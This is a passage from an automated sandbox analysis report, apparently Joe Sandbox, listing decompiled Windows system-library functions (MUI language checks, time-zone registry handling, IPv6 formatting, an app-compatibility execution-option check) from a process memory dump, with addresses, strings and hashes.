						if(_v8 != _t318) {
							E0239E025(_t322,  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x18] + 0x30)) + 0x18)), _t318, _v8);
						}
						_v8 = _t318;
						goto L30;
					}
				}
				_t284 = _v24;
				_t322 = _t284 + 4;
				_push(_t284);
				_v48 = _t322;
				E023B718A(_t284);
				_t339 = _t335 + 4;
				if(_t322 == _t318) {
					_v28 = _t318;
				} else {
					_v28 = E0239E0C6( *((intOrPtr*)( *((intOrPtr*)( *[fs:0x18] + 0x30)) + 0x18)), 8, _t322);
				}
				if(_v28 == _t318) {
					_v48 = _t318;
					goto L58;
				} else {
					E02392340(_v28, _v8, _v24);
					_v16 = _v28;
					_a4 = _t318;
					_t288 = E023AE679(_v28, _t332);
					_t335 = _t339 + 0x14;
					while(1) {
						_v12 = _t288;
						if(_t288 == _t318) {
							break;
						}
						_v12 = _v12 + 2;
						 *_v12 = 0;
						E0239E2A8(_v12,  &_v68, _v16);
						if(E023B5553(_t328,  &_v68,  &_v36) != 0) {
							_a4 = _a4 + 1;
						}
						_v16 = _v12;
						_t288 = E023AE679(_v12, _t332);
						_pop(_t322);
					}
					_t296 = _v16;
					if( *_v16 != _t318) {
						E0239E2A8(_t322,  &_v68, _t296);
						if(E023B5553(_t328,  &_v68,  &_v36) != 0) {
							_a4 = _a4 + 1;
						}
					}
					if(_a4 == _t318) {
						E0239E025(_t322,  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x18] + 0x30)) + 0x18)), _t318, _v28);
						_v48 = _t318;
						_v28 = _t318;
					}
					if(_v8 != _t318) {
						E0239E025(_t322,  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x18] + 0x30)) + 0x18)), _t318, _v8);
					}
					_v8 = _t318;
					goto L17;
				}
			}

0x023b8788
0x023b8788
0x023b8791
0x023b8794
0x023b8798
0x023b879b
0x023b879e
0x023b87a1
0x023b87a4
0x023b87a7
0x023b87aa
0x023b87af
0x02401ad3
0x023b8b0a
0x023b8b0d
0x023b8b13
0x023b8b19
0x023b8b1f
0x023b8b25
0x023b8b2b
0x023b8b31
0x023b8b37
0x023b8b3d
0x023b8b46
0x023b8b46
0x023b87c6
0x023b87d0
0x02401ae0
0x02401ae6
0x02401af8
0x02401af8
0x02401afd
0x02401afe
0x02401b01
0x02401b06
0x02401b06
0x023b87d6
0x023b87f2
0x023b87f7
0x023b8807
0x023b880a
0x023b880f
0x023b8810
0x023b8813
0x023b8818
0x023b8818
0x023b882c
0x023b8831
0x023b8838
0x023b8908
0x023b8920
0x023b89f0
0x023b8a08
0x023b8af6
0x023b8af6
0x023b8af8
0x023b8afb
0x02401beb
0x02401beb
0x023b8b04
0x02401bf8
0x02401c0e
0x02401c13
0x02401c16
0x02401c16
0x02401bf8
0x00000000
0x023b8b04
0x023b8a0e
0x023b8a11
0x023b8a14
0x023b8a15
0x023b8a18
0x023b8a22
0x023b8b59
0x023b8a28
0x023b8a3c
0x023b8a3c
0x023b8a42
0x02401bb0
0x02401b11
0x02401b11
0x00000000
0x023b8a48
0x023b8a51
0x023b8a5b
0x023b8a5e
0x023b8a61
0x023b8a69
0x023b8a69
0x023b8a6d
0x00000000
0x00000000
0x023b8a74
0x023b8a7c
0x023b8a7d
0x023b8a91
0x023b8a93
0x023b8a93
0x023b8a98
0x023b8a9b
0x023b8aa1
0x023b8aa1
0x023b8aa4
0x023b8aaa
0x023b8ab1
0x023b8ac5
0x023b8ac7
0x023b8ac7
0x023b8ac5
0x023b8ace
0x02401bc9
0x02401bce
0x02401bd2
0x02401bd2
0x023b8ad8
0x023b8aeb
0x023b8aeb
0x023b8af0
0x023b8af4
0x00000000
0x023b8af4
0x023b8a42
0x023b8926
0x023b8929
0x023b892c
0x023b892d
0x023b8930
0x023b8935
0x023b893a
0x023b8b51
0x023b8940
0x023b8954
0x023b8954
0x023b895a
0x02401b63
0x00000000
0x023b8960
0x023b8969
0x023b8973
0x023b8976
0x023b8979
0x023b897e
0x023b8981
0x023b8981
0x023b8986
0x00000000
0x00000000
0x02401b6e
0x02401b74
0x02401b7b
0x02401b8f
0x02401b91
0x02401b91
0x02401b99
0x02401b9c
0x02401ba2
0x02401ba2
0x023b898c
0x023b8992
0x023b8999
0x023b89ad
0x02401ba8
0x02401ba8
0x023b89ad
0x023b89b6
0x023b89c8
0x023b89cd
0x023b89d0
0x023b89d0
0x023b89d6
0x023b89e8
0x023b89e8
0x023b89ed
0x00000000
0x023b89ed
0x023b895a
0x023b883e
0x023b8841
0x023b8844
0x023b8845
0x023b8848
0x023b884d
0x023b8852
0x023b8b49
0x023b8858
0x023b886c
0x023b886c
0x023b8872
0x02401b0e
0x00000000
0x023b8878
0x023b8881
0x023b888b
0x023b888e
0x023b8891
0x023b8896
0x023b8899
0x023b8899
0x023b889e
0x00000000
0x00000000
0x02401b21
0x02401b27
0x02401b2e
0x02401b42
0x02401b44
0x02401b44
0x02401b4c
0x02401b4f
0x02401b55
0x02401b55
0x023b88a4
0x023b88aa
0x023b88b1
0x023b88c5
0x02401b5b
0x02401b5b
0x023b88c5
0x023b88ce
0x023b88e0
0x023b88e5
0x023b88e8
0x023b88e8
0x023b88ee
0x023b8900
0x023b8900
0x023b8905
0x00000000
0x023b8905

APIs

_wcspbrk.LIBCMT ref: 023B8891
_wcspbrk.LIBCMT ref: 023B8979
_wcspbrk.LIBCMT ref: 023B8A61
_wcspbrk.LIBCMT ref: 023B8A9B
_wcspbrk.LIBCMT ref: 02401B9C

Strings

WindowsExcludedProcs, xrefs: 023B87C1
Kernel-MUI-Language-Disallowed, xrefs: 023B8914
Kernel-MUI-Number-Allowed, xrefs: 023B87E6
Kernel-MUI-Language-SKU, xrefs: 023B89FC
Kernel-MUI-Language-Allowed, xrefs: 023B8827

Memory Dump Source

Source File: 00000008.00000002.1173489046.0000000002380000.00000040.00000800.00020000.00000000.sdmp, Offset: 02370000, based on PE: true

Associated: 00000008.00000002.1173478360.0000000002370000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.1173596901.0000000002460000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.1173605158.0000000002470000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.1173612960.0000000002474000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.1173630096.0000000002477000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.1173640722.0000000002480000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.1173687030.00000000024E0000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_2370000_chkdsk.jbxd

Similarity

API ID: _wcspbrk
String ID: Kernel-MUI-Language-Allowed$Kernel-MUI-Language-Disallowed$Kernel-MUI-Language-SKU$Kernel-MUI-Number-Allowed$WindowsExcludedProcs
API String ID: 402402107-258546922
Opcode ID: 4ed419bf6994e13974859bcd3e96bf17b5c25f6688ae9beb92250a8f72667201
Instruction ID: ca34e88815e61699b71badd0aacec4f25313bfd5ceb593a0edfb78a82f13781a
Opcode Fuzzy Hash: 4ed419bf6994e13974859bcd3e96bf17b5c25f6688ae9beb92250a8f72667201
Instruction Fuzzy Hash: 6AF1E8B2D00209EFDF22DFA9C9809EEB7B9FF09304F14446AE605A7651E7349A45DF60

Uniqueness

Uniqueness Score: -1.00%

Function 0242822C Relevance: 19.4, APIs: 2, Strings: 9, Instructions: 160
COMMON

Download Yara Rule

C-Code - Quality: 95%

			E0242822C(void* __ecx, void* __edx, signed int _a4, signed int _a8) {
				char _v8;
				void* __ebx;
				signed int _t41;
				void* _t42;
				signed int* _t50;
				void* _t71;
				void* _t73;
				void* _t78;
				signed int _t81;
				void* _t84;

				_push(__ecx);
				_t81 = _a4;
				_t84 = 0x20;
				_t71 = E02445A34(_t81 + 4, _t84);
				if(_t71 < _t84) {
					_t41 = E02445A34(_t81 + 0x58, _t84);
					_pop(_t78);
					_a4 = _t41;
					__eflags = _t41 - _t84;
					if(_t41 >= _t84) {
						goto L1;
					} else {
						_t42 = E023E7DCD(1,  &_v8);
						__eflags = _t42;
						if(__eflags >= 0) {
							__eflags = E0242810D(_t71, _t78, __eflags, 0x40000000, _v8, L"Bias", 4, _t81, 4);
							if(__eflags < 0) {
								L14:
								_a4 = 0;
								_t73 = E0242810D(_t71, _t78, __eflags, 0x40000000, _v8, L"TimeZoneKeyName", 1,  &_a4, 2);
								__eflags = _t73;
								if(__eflags >= 0) {
									_a8 =  *(_t81 + 0x1ac) & 0x000000ff;
									_t50 =  &_a8;
									goto L16;
								}
							} else {
								_t8 = _t71 + 2; // 0x2
								__eflags = E0242810D(_t71, _t78, __eflags, 0x40000000, _v8, L"StandardName", 1, _t81 + 4, _t71 + _t8);
								if(__eflags < 0) {
									goto L14;
								} else {
									_t71 = 4;
									__eflags = E0242810D(_t71, _t78, __eflags, 0x40000000, _v8, L"StandardBias", _t71, _t81 + 0x54, _t71);
									if(__eflags < 0) {
										goto L14;
									} else {
										__eflags = E0242810D(_t71, _t78, __eflags, 0x40000000, _v8, L"StandardStart", 3, _t81 + 0x44, 0x10);
										if(__eflags < 0) {
											goto L14;
										} else {
											__eflags = E0242810D(_t71, _t78, __eflags, 0x40000000, _v8, L"DaylightName", 1, _t81 + 0x58, _a4 + _a4 + 2);
											if(__eflags < 0) {
												goto L14;
											} else {
												__eflags = E0242810D(_t71, _t78, __eflags, 0x40000000, _v8, L"DaylightBias", _t71, _t81 + 0xa8, _t71);
												if(__eflags < 0) {
													goto L14;
												} else {
													__eflags = E0242810D(_t71, _t78, __eflags, 0x40000000, _v8, L"DaylightStart", 3, _t81 + 0x98, 0x10);
													if(__eflags < 0) {
														goto L14;
													} else {
														__eflags = _a8 - 0x1b0;
														if(__eflags < 0) {
															goto L14;
														} else {
															_t73 = E0242810D(_t71, _t78, __eflags, 0x40000000, _v8, L"TimeZoneKeyName", 1, _t81 + 0xac, 0x100);
															__eflags = _t73;
															if(__eflags >= 0) {
																_a4 =  *(_t81 + 0x1ac) & 0x000000ff;
																_t50 =  &_a4;
																L16:
																_t73 = E0242810D(_t73, _t78, __eflags, 0x40000000, _v8, L"DynamicDaylightTimeDisabled", 4, _t50, 4);
															}
														}
													}
												}
											}
										}
									}
								}
							}
							E0238F9F0(_v8);
							_t42 = _t73;
						}
					}
				} else {
					L1:
					_t42 = 0xc000000d;
				}
				return _t42;
			}

0x02428231
0x02428235
0x0242823a
0x02428245
0x0242824b
0x0242825c
0x02428262
0x02428263
0x02428266
0x02428268
0x00000000
0x0242826a
0x02428270
0x02428275
0x02428277
0x02428295
0x02428297
0x0242838d
0x02428391
0x024283a9
0x024283ab
0x024283ad
0x024283b6
0x024283b9
0x00000000
0x024283b9
0x0242829d
0x0242829d
0x024282b6
0x024282b8
0x00000000
0x024282be
0x024282c0
0x024282d5
0x024282d7
0x00000000
0x024282dd
0x024282f3
0x024282f5
0x00000000
0x024282fb
0x02428317
0x02428319
0x00000000
0x0242831b
0x02428332
0x02428334
0x00000000
0x02428336
0x0242834f
0x02428351
0x00000000
0x02428353
0x02428353
0x0242835a
0x00000000
0x0242835c
0x02428378
0x0242837a
0x0242837c
0x02428385
0x02428388
0x024283bc
0x024283cf
0x024283cf
0x0242837c
0x0242835a
0x02428351
0x02428334
0x02428319
0x024282f5
0x024282d7
0x024282b8
0x024283d4
0x024283d9
0x024283d9
0x02428277
0x0242824d
0x0242824d
0x0242824d
0x0242824d
0x024283df

APIs

_wcsnlen.LIBCMT ref: 02428240
_wcsnlen.LIBCMT ref: 0242825C

Strings

TimeZoneKeyName, xrefs: 0242836A, 0242839B
DynamicDaylightTimeDisabled, xrefs: 024283C1
DaylightBias, xrefs: 02428324
Bias, xrefs: 02428282
DaylightName, xrefs: 02428309
DaylightStart, xrefs: 02428341
StandardBias, xrefs: 024282C7
StandardName, xrefs: 024282A8
StandardStart, xrefs: 024282E5

Memory Dump Source

Source File: 00000008.00000002.1173489046.0000000002380000.00000040.00000800.00020000.00000000.sdmp, Offset: 02370000, based on PE: true

Associated: 00000008.00000002.1173478360.0000000002370000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.1173596901.0000000002460000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.1173605158.0000000002470000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.1173612960.0000000002474000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.1173630096.0000000002477000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.1173640722.0000000002480000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.1173687030.00000000024E0000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_2370000_chkdsk.jbxd

Similarity

API ID: _wcsnlen
String ID: Bias$DaylightBias$DaylightName$DaylightStart$DynamicDaylightTimeDisabled$StandardBias$StandardName$StandardStart$TimeZoneKeyName
API String ID: 3628947076-1387797911
Opcode ID: 836e7d717090ab8025fe6f534f1ff6b2080d1a4d2dbb5b23a5caf739062a0c78
Instruction ID: f0b0aca8a373f69d03cc30532742fe920f664d1d974a326b3720d9c8ddbdd126
Opcode Fuzzy Hash: 836e7d717090ab8025fe6f534f1ff6b2080d1a4d2dbb5b23a5caf739062a0c78
Instruction Fuzzy Hash: 7E419471240238BAFB129AA3CD81FEFB76D9F04744F504127FA05D9190D7B1EA588BB4

Uniqueness

Uniqueness Score: -1.00%

Function 023D13CB Relevance: 17.7, APIs: 6, Strings: 4, Instructions: 195
COMMON

Download Yara Rule

C-Code - Quality: 38%

			E023D13CB(intOrPtr* _a4, intOrPtr _a8) {
				char _v8;
				intOrPtr _v12;
				intOrPtr* _v16;
				intOrPtr _v20;
				char _v24;
				intOrPtr _t71;
				signed int _t78;
				signed int _t86;
				char _t90;
				signed int _t91;
				signed int _t96;
				intOrPtr _t108;
				signed int _t114;
				void* _t115;
				intOrPtr _t128;
				intOrPtr* _t129;
				void* _t130;

				_t129 = _a4;
				_t128 = _a8;
				_t116 = 0;
				_t71 = _t128 + 0x5c;
				_v8 = 8;
				_v20 = _t71;
				if( *_t129 == 0) {
					if( *((intOrPtr*)(_t129 + 2)) != 0 ||  *((intOrPtr*)(_t129 + 4)) != 0 ||  *((intOrPtr*)(_t129 + 6)) != 0 ||  *(_t129 + 0xc) == 0) {
						goto L5;
					} else {
						_t96 =  *(_t129 + 8) & 0x0000ffff;
						if(_t96 != 0) {
							L38:
							if(_t96 != 0xffff ||  *(_t129 + 0xa) != _t116) {
								goto L5;
							} else {
								_push( *(_t129 + 0xf) & 0x000000ff);
								_push( *(_t129 + 0xe) & 0x000000ff);
								_push( *(_t129 + 0xd) & 0x000000ff);
								_t86 = E023C7707(_t128, _t71 - _t128 >> 1, L"::ffff:0:%u.%u.%u.%u",  *(_t129 + 0xc) & 0x000000ff);
								L36:
								return _t128 + _t86 * 2;
							}
						}
						_t114 =  *(_t129 + 0xa) & 0x0000ffff;
						if(_t114 == 0) {
							L33:
							_t115 = 0x2392926;
							L35:
							_push( *(_t129 + 0xf) & 0x000000ff);
							_push( *(_t129 + 0xe) & 0x000000ff);
							_push( *(_t129 + 0xd) & 0x000000ff);
							_push( *(_t129 + 0xc) & 0x000000ff);
							_t86 = E023C7707(_t128, _t71 - _t128 >> 1, L"::%hs%u.%u.%u.%u", _t115);
							goto L36;
						}
						if(_t114 != 0xffff) {
							_t116 = 0;
							goto L38;
						}
						if(_t114 != 0) {
							_t115 = 0x2399cac;
							goto L35;
						}
						goto L33;
					}
				} else {
					L5:
					_a8 = _t116;
					_a4 = _t116;
					_v12 = _t116;
					if(( *(_t129 + 8) & 0x0000fffd) == 0) {
						if( *(_t129 + 0xa) == 0xfe5e) {
							_v8 = 6;
						}
					}
					_t90 = _v8;
					if(_t90 <= _t116) {
						L11:
						if(_a8 - _a4 <= 1) {
							_a8 = _t116;
							_a4 = _t116;
						}
						_t91 = 0;
						if(_v8 <= _t116) {
							L22:
							if(_v8 < 8) {
								_push( *(_t129 + 0xf) & 0x000000ff);
								_push( *(_t129 + 0xe) & 0x000000ff);
								_push( *(_t129 + 0xd) & 0x000000ff);
								_t128 = _t128 + E023C7707(_t128, _t71 - _t128 >> 1, L":%u.%u.%u.%u",  *(_t129 + 0xc) & 0x000000ff) * 2;
							}
							return _t128;
						} else {
							L14:
							L14:
							if(_a4 > _t91 || _t91 >= _a8) {
								if(_t91 != _t116 && _t91 != _a8) {
									_push(":");
									_push(_t71 - _t128 >> 1);
									_push(_t128);
									_t128 = _t128 + E023C7707() * 2;
									_t71 = _v20;
									_t130 = _t130 + 0xc;
								}
								_t78 = E023C7707(_t128, _t71 - _t128 >> 1, L"%x",  *(_t129 + _t91 * 2) & 0x0000ffff);
								_t130 = _t130 + 0x10;
							} else {
								_push(L"::");
								_push(_t71 - _t128 >> 1);
								_push(_t128);
								_t78 = E023C7707();
								_t130 = _t130 + 0xc;
								_t91 = _a8 - 1;
							}
							_t91 = _t91 + 1;
							_t128 = _t128 + _t78 * 2;
							_t71 = _v20;
							if(_t91 >= _v8) {
								goto L22;
							}
							_t116 = 0;
							goto L14;
						}
					} else {
						_t108 = 1;
						_v16 = _t129;
						_v24 = _t90;
						do {
							if( *_v16 == _t116) {
								if(_t108 - _v12 > _a8 - _a4) {
									_a4 = _v12;
									_a8 = _t108;
								}
								_t116 = 0;
							} else {
								_v12 = _t108;
							}
							_v16 = _v16 + 2;
							_t108 = _t108 + 1;
							_t26 =  &_v24;
							 *_t26 = _v24 - 1;
						} while ( *_t26 != 0);
						goto L11;
					}
				}
			}

0x023d13d5
0x023d13d9
0x023d13dc
0x023d13de
0x023d13e1
0x023d13e8
0x023d13ee
0x023fe8fd
0x00000000
0x023fe921
0x023fe921
0x023fe928
0x023fe982
0x023fe98a
0x00000000
0x023fe99a
0x023fe99e
0x023fe9a3
0x023fe9a8
0x023fe9b9
0x023fe978
0x00000000
0x023fe978
0x023fe98a
0x023fe92a
0x023fe931
0x023fe944
0x023fe944
0x023fe950
0x023fe954
0x023fe959
0x023fe95e
0x023fe963
0x023fe970
0x00000000
0x023fe975
0x023fe93b
0x023fe980
0x00000000
0x023fe980
0x023fe942
0x023fe94b
0x00000000
0x023fe94b
0x00000000
0x023fe942
0x023d13f4
0x023d13f4
0x023d13f9
0x023d13fc
0x023d13ff
0x023d1406
0x023fe9cc
0x023fe9d2
0x023fe9d2
0x023fe9cc
0x023d140c
0x023d1411
0x023d1431
0x023d143a
0x023d143c
0x023d143f
0x023d143f
0x023d1442
0x023d1447
0x023d14a8
0x023d14ac
0x023fe9e2
0x023fe9e7
0x023fe9ec
0x023fea05
0x023fea05
0x00000000
0x023d1449
0x00000000
0x023d1449
0x023d144c
0x023d1459
0x023d1462
0x023d1469
0x023d146a
0x023d1470
0x023d1473
0x023d1476
0x023d1476
0x023d1490
0x023d1495
0x023d138e
0x023d1390
0x023d1397
0x023d1398
0x023d1399
0x023d13a1
0x023d13a4
0x023d13a4
0x023d1498
0x023d149c
0x023d149f
0x023d14a2
0x00000000
0x00000000
0x023d14a4
0x00000000
0x023d14a4
0x023d1413
0x023d1415
0x023d1416
0x023d1419
0x023d141c
0x023d1422
0x023d13b7
0x023d13bc
0x023d13bf
0x023d13bf
0x023d13c2
0x023d1424
0x023d1424
0x023d1424
0x023d1427
0x023d142b
0x023d142c
0x023d142c
0x023d142c
0x00000000
0x023d141c
0x023d1411

APIs

___swprintf_l.LIBCMT ref: 023D146B
___swprintf_l.LIBCMT ref: 023D1490
___swprintf_l.LIBCMT ref: 023FE970

Strings

::%hs%u.%u.%u.%u, xrefs: 023FE967
::ffff:0:%u.%u.%u.%u, xrefs: 023FE9B0
:%u.%u.%u.%u, xrefs: 023FE9F4
ffff:, xrefs: 023FE94B

Memory Dump Source

Source File: 00000008.00000002.1173489046.0000000002380000.00000040.00000800.00020000.00000000.sdmp, Offset: 02370000, based on PE: true

Associated: 00000008.00000002.1173478360.0000000002370000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.1173596901.0000000002460000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.1173605158.0000000002470000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.1173612960.0000000002474000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.1173630096.0000000002477000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.1173640722.0000000002480000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.1173687030.00000000024E0000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_2370000_chkdsk.jbxd

Similarity

API ID: ___swprintf_l
String ID: :%u.%u.%u.%u$::%hs%u.%u.%u.%u$::ffff:0:%u.%u.%u.%u$ffff:
API String ID: 48624451-2108815105
Opcode ID: 89435fddfa545b7862a9d3adc0564e9d5f7af5f0b66704f7e3829b98bf929920
Instruction ID: c2b0a28e7b65d2240265ed281e116424fb07b4ef4c7d3c1211102ee333cd488d
Opcode Fuzzy Hash: 89435fddfa545b7862a9d3adc0564e9d5f7af5f0b66704f7e3829b98bf929920
Instruction Fuzzy Hash: C36127B2E00655ABDF34DFA9D8809BFBBBAEF85300754C12EE9DA47541D334A640CB60

Uniqueness

Uniqueness Score: -1.00%

Function 023C7EFD Relevance: 14.1, APIs: 1, Strings: 7, Instructions: 127
COMMON

Download Yara Rule

C-Code - Quality: 64%

			E023C7EFD(void* __ecx, intOrPtr _a4) {
				signed int _v8;
				char _v540;
				unsigned int _v544;
				signed int _v548;
				intOrPtr _v552;
				char _v556;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t33;
				void* _t38;
				unsigned int _t46;
				unsigned int _t47;
				unsigned int _t52;
				intOrPtr _t56;
				unsigned int _t62;
				void* _t69;
				void* _t70;
				intOrPtr _t72;
				signed int _t73;
				void* _t74;
				void* _t75;
				void* _t76;
				void* _t77;

				_t33 =  *0x2472088; // 0x76ee1647
				_v8 = _t33 ^ _t73;
				_v548 = _v548 & 0x00000000;
				_t72 = _a4;
				if(E023C7F4F(__ecx, _t72 + 0x2c,  &_v548) >= 0) {
					__eflags = _v548;
					if(_v548 == 0) {
						goto L1;
					}
					_t62 = _t72 + 0x24;
					E023E3F92(0x55, 3, "CLIENT(ntdll): Found CheckAppHelp = %d for %wZ in ImageFileExecutionOptions\n", _v548);
					_t71 = 0x214;
					_v544 = 0x214;
					E0239DFC0( &_v540, 0, 0x214);
					_t75 = _t74 + 0x20;
					_t46 =  *0x2474218( *((intOrPtr*)(_t72 + 0x28)),  *((intOrPtr*)(_t72 + 0x18)),  *((intOrPtr*)(_t72 + 0x20)), L"ExecuteOptions",  &_v556,  &_v540,  &_v544, _t62);
					__eflags = _t46;
					if(_t46 == 0) {
						goto L1;
					}
					_t47 = _v544;
					__eflags = _t47;
					if(_t47 == 0) {
						goto L1;
					}
					__eflags = _t47 - 0x214;
					if(_t47 >= 0x214) {
						goto L1;
					}
					_push(_t62);
					 *((short*)(_t73 + (_t47 >> 1) * 2 - 0x21a)) = 0;
					E023E3F92(0x55, 3, "CLIENT(ntdll): Found ExecuteOptions = %ws for %wZ in application compatibility database\n",  &_v540);
					_t52 = E023A0D27( &_v540, L"Execute=1");
					_t76 = _t75 + 0x1c;
					_push(_t62);
					__eflags = _t52;
					if(_t52 == 0) {
						E023E3F92(0x55, 3, "CLIENT(ntdll): Processing %ws for patching section protection for %wZ\n",  &_v540);
						_t71 =  &_v540;
						_t56 = _t73 + _v544 - 0x218;
						_t77 = _t76 + 0x14;
						_v552 = _t56;
						__eflags = _t71 - _t56;
						if(_t71 >= _t56) {
							goto L1;
						} else {
							goto L10;
						}
						while(1) {
							L10:
							_t62 = E023A8375(_t71, 0x20);
							_pop(_t69);
							__eflags = _t62;
							if(__eflags != 0) {
								__eflags = 0;
								 *_t62 = 0;
							}
							E023E3F92(0x55, 3, "CLIENT(ntdll): Processing section info %ws...\n", _t71);
							_t77 = _t77 + 0x10;
							E0240E8DB(_t69, _t70, __eflags, _t72, _t71);
							__eflags = _t62;
							if(_t62 == 0) {
								goto L1;
							}
							_t31 = _t62 + 2; // 0x2
							_t71 = _t31;
							__eflags = _t71 - _v552;
							if(_t71 >= _v552) {
								goto L1;
							}
						}
					}
					_push("CLIENT(ntdll): Found Execute=1, turning off execution protection for the process because of %wZ\n");
					_push(3);
					_push(0x55);
					E023E3F92();
					_t38 = 1;
					L2:
					return E0239E1B4(_t38, _t62, _v8 ^ _t73, _t70, _t71, _t72);
				}
				L1:
				_t38 = 0;
				goto L2;
			}

0x023c7f08
0x023c7f0f
0x023c7f12
0x023c7f1b
0x023c7f31
0x023e3ead
0x023e3eb4
0x00000000
0x00000000
0x023e3eba
0x023e3ecd
0x023e3ed2
0x023e3ee1
0x023e3ee7
0x023e3eec
0x023e3f12
0x023e3f18
0x023e3f1a
0x00000000
0x00000000
0x023e3f20
0x023e3f26
0x023e3f28
0x00000000
0x00000000
0x023e3f2e
0x023e3f30
0x00000000
0x00000000
0x023e3f3a
0x023e3f3b
0x023e3f53
0x023e3f64
0x023e3f69
0x023e3f6c
0x023e3f6d
0x023e3f6f
0x023ee304
0x023ee30f
0x023ee315
0x023ee31e
0x023ee321
0x023ee327
0x023ee329
0x00000000
0x00000000
0x00000000
0x00000000
0x023ee32f
0x023ee32f
0x023ee337
0x023ee33a
0x023ee33b
0x023ee33d
0x023ee33f
0x023ee341
0x023ee341
0x023ee34e
0x023ee353
0x023ee358
0x023ee35d
0x023ee35f
0x00000000
0x00000000
0x023ee365
0x023ee365
0x023ee368
0x023ee36e
0x00000000
0x00000000
0x023ee374
0x023ee32f
0x023e3f75
0x023e3f7a
0x023e3f7c
0x023e3f7e
0x023e3f86
0x023c7f39
0x023c7f47
0x023c7f47
0x023c7f37
0x023c7f37
0x00000000

APIs

BaseQueryModuleData.KERNEL32(?,00000000,00000000,ExecuteOptions,?,?,?), ref: 023E3F12

Strings

CLIENT(ntdll): Found ExecuteOptions = %ws for %wZ in application compatibility database, xrefs: 023E3F4A
CLIENT(ntdll): Processing %ws for patching section protection for %wZ, xrefs: 023EE2FB
ExecuteOptions, xrefs: 023E3F04
Execute=1, xrefs: 023E3F5E
CLIENT(ntdll): Found CheckAppHelp = %d for %wZ in ImageFileExecutionOptions, xrefs: 023E3EC4
CLIENT(ntdll): Found Execute=1, turning off execution protection for the process because of %wZ, xrefs: 023E3F75
CLIENT(ntdll): Processing section info %ws..., xrefs: 023EE345

Memory Dump Source

Source File: 00000008.00000002.1173489046.0000000002380000.00000040.00000800.00020000.00000000.sdmp, Offset: 02370000, based on PE: true

Associated: 00000008.00000002.1173478360.0000000002370000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.1173596901.0000000002460000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.1173605158.0000000002470000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.1173612960.0000000002474000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.1173630096.0000000002477000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.1173640722.0000000002480000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.1173687030.00000000024E0000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_2370000_chkdsk.jbxd

Similarity

API ID: BaseDataModuleQuery
String ID: CLIENT(ntdll): Found CheckAppHelp = %d for %wZ in ImageFileExecutionOptions$CLIENT(ntdll): Found Execute=1, turning off execution protection for the process because of %wZ$CLIENT(ntdll): Found ExecuteOptions = %ws for %wZ in application compatibility database$CLIENT(ntdll): Processing %ws for patching section protection for %wZ$CLIENT(ntdll): Processing section info %ws...$Execute=1$ExecuteOptions
API String ID: 3901378454-484625025
Opcode ID: fccc9b55a97f6f55f0e02afb84a0c32fed81ddd5aaebd427d0e12a52ebb64a41
Instruction ID: ed16691e0b9c24cb53d4e1790f3e6f74a71fc370293d2b728b313adaa8f7c7a7
Opcode Fuzzy Hash: fccc9b55a97f6f55f0e02afb84a0c32fed81ddd5aaebd427d0e12a52ebb64a41
Instruction Fuzzy Hash: 7941CA7268071C7AEF30DAA4DCC5FEBB3BDAB15704F1004A9E906E6181E770DA498F61

Uniqueness

Uniqueness Score: -1.00%

Function 023D0B15 Relevance: 12.5, APIs: 4, Strings: 3, Instructions: 272
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E023D0B15(intOrPtr* _a4, char _a7, intOrPtr* _a8, intOrPtr _a12) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				signed int _v24;
				signed int _v28;
				signed int _v32;
				void* _t108;
				void* _t116;
				char _t120;
				short _t121;
				void* _t128;
				intOrPtr* _t130;
				char _t132;
				short _t133;
				intOrPtr _t141;
				signed int _t156;
				signed int _t174;
				intOrPtr _t177;
				intOrPtr* _t179;
				intOrPtr _t180;
				void* _t183;

				_t179 = _a4;
				_t141 =  *_t179;
				_v16 = 0;
				_v28 = 0;
				_v8 = 0;
				_v24 = 0;
				_v12 = 0;
				_v32 = 0;
				_v20 = 0;
				if(_t141 == 0) {
					L41:
					 *_a8 = _t179;
					_t180 = _v24;
					if(_t180 != 0) {
						if(_t180 != 3) {
							goto L6;
						}
						_v8 = _v8 + 1;
					}
					_t174 = _v32;
					if(_t174 == 0) {
						if(_v8 == 7) {
							goto L43;
						}
						goto L6;
					}
					L43:
